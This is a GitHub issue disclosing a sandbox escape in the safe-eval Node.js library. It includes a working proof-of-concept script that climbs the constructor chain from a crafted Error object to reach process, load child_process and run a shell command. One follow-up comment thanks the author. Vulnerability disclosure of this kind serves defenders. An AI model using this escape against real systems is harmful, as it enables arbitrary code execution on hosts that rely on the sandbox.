


New issue

Jump to bottom

Sandbox Escape #19

 Open a0xnirudh opened this issue on Feb 28, 2020 · 1 comment

a0xnirudh commented on Feb 28, 2020

The following script can lead to safe-eval sandbox escape (node v12.13.0):

```
const safeEval = require('safe-eval');

const theFunction = function() {
  const bad = new Error();
  bad.__proto__ = null;
  bad.stack = {
    match(outer) {
      throw outer.constructor.constructor("return process").mainModule.require('child_process').execSync('whoami').toString();
    }
  };
  return bad;
};

const untrusted = `${theFunction}()`;
console.log(safeEval(untrusted));
```

Inspired from @XmiliaH's [vm2 escape](#).

 3  1

 a0xnirudh mentioned this issue on Feb 28, 2020

Breakout #18

 Open

Yablargo commented on Aug 3, 2020

@a0xnirudh Appreciate the POC. I knew you could get mainModule but did not realize the require call was so straightforward.

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

